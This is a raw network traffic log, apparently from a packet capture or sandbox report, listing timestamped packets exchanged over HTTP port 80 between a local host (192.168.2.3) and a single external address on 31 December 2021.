Dec 31, 2021 19:12:50.328699112 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.328792095 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.328882933 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.328944921 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.328955889 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.329031944 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.329057932 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.329121113 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.329180956 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.329183102 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.329252958 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.329344988 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.329417944 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.329422951 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.329509974 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.378492117 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.378540993 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.378581047 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.378622055 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.378659964 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.378701925 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.378710032 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.378741026 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.378742933 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.378750086 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.378781080 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.378818035 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.378855944 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.378869057 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.378895044 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.378904104 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.378935099 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.378974915 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.379014015 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.379036903 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.379054070 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.379062891 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.379092932 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.379129887 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.379169941 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.379187107 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.379225969 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.379240990 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.379265070 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.379314899 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.427799940 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.427853107 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.427895069 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.427932024 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.427972078 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.427993059 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.428009987 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.428025961 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.428050041 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.428061008 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.428092003 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.428131104 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.428169012 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.428189039 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.428211927 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.428227901 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.428248882 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.428288937 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.428325891 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.428328991 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.428364992 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.428391933 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.428406000 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.428443909 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.428457975 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.428529024 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.428570032 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.428586960 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.428608894 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.428646088 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.428684950 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.428703070 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.428725958 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.428740978 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.428765059 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.428802967 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.428816080 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.428873062 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.428977013 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.428997040 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.429039001 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.429075956 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.429115057 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.429138899 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.429152012 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.429176092 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.429191113 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.429235935 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.429275036 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.429303885 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.429312944 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.429337025 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.429353952 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.429392099 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.429409027 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.429430962 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.429469109 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.429505110 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.429524899 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.429569960 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.478209019 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.478266954 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.478307009 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.478346109 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.478383064 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.478423119 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.478449106 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.478465080 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.478481054 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.478506088 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.478540897 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.478548050 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.478563070 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.478589058 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.478630066 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.478671074 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.478696108 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.478708029 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.478734016 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.478746891 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.478785038 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.478823900 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.478841066 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.478866100 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.478902102 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.478904009 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.478941917 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.478959084 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.478982925 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.479020119 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.479058981 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.479078054 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.479096889 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.479115009 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.479137897 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.479188919 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.479227066 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.479228020 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.479283094 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.479338884 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.479346037 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.479386091 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.479414940 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.479441881 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.479474068 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.479515076 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.479547024 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.479551077 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.479584932 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.479609013 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.479671955 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.479711056 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.479732990 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.479749918 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.479773998 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.479795933 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.479835987 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.479877949 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.479903936 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.479918957 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.479934931 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.479958057 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.479995966 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.480046988 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.480072975 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.480087042 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.480109930 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.480124950 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.480164051 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.480225086 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.529002905 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.529059887 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.529098988 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.529136896 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.529139042 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.529177904 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.529180050 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.529222012 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.529262066 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.529277086 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.529299021 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.529339075 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.529340029 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.529380083 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.529417992 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.529424906 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.529457092 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.529486895 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.529495955 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.529535055 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.529544115 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.529575109 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.529612064 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.529650927 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.529666901 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.529691935 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.529700994 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.529728889 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.529767990 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.529804945 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.529822111 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.529846907 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.529855013 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.529887915 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.529923916 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.529963017 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.529974937 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.530002117 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.530021906 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.530041933 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.530081034 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.530117989 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.530137062 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.530158043 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.530175924 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.530199051 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.530237913 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.530273914 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.530276060 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.530316114 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.530332088 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.530353069 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.530391932 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.530430079 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.530441999 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.530468941 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.530478001 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.530508995 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.530544996 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.530584097 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.530594110 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.530623913 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.530632019 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.530662060 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.530700922 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.530740023 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.530746937 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.530780077 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.530793905 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.530823946 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.530860901 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.530906916 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.579443932 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.579489946 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.579529047 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.579562902 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.579567909 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.579607010 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.579612017 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.579648018 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.579670906 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.579689980 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.579730034 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.579746008 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.579771996 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.579809904 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.579848051 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.579866886 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.579888105 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.579907894 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.579926968 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.579991102 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.579993963 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.580032110 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.580068111 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.580107927 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.580122948 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.580148935 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.580163002 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.580187082 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.580226898 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.580265045 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.580301046 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.580302954 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.580331087 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.580339909 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.580383062 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.580420971 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.580439091 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.580461979 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.580478907 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.580499887 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.580539942 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.580579042 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.580591917 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.580615997 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.580632925 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.580657005 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.580694914 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.580733061 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.580749035 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.580774069 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.580792904 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.580812931 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.580871105 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.580887079 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.580923080 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.580984116 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.580986977 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.581027031 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.581063032 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.581103086 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.581118107 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.581141949 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.581162930 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.581182003 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.581223011 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.581259966 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.581281900 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.581301928 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.581315994 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.581341028 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.581377029 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.581446886 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.629996061 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.630055904 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.630090952 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.630095005 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.630140066 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.630177021 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.630179882 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.630220890 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.630258083 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.630271912 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.630310059 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.630351067 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.630352974 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.630389929 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.630425930 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.630426884 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.630466938 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.630481005 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.630508900 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.630549908 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.630589962 CET	80	49793	31.28.27.130	192.168.2.3
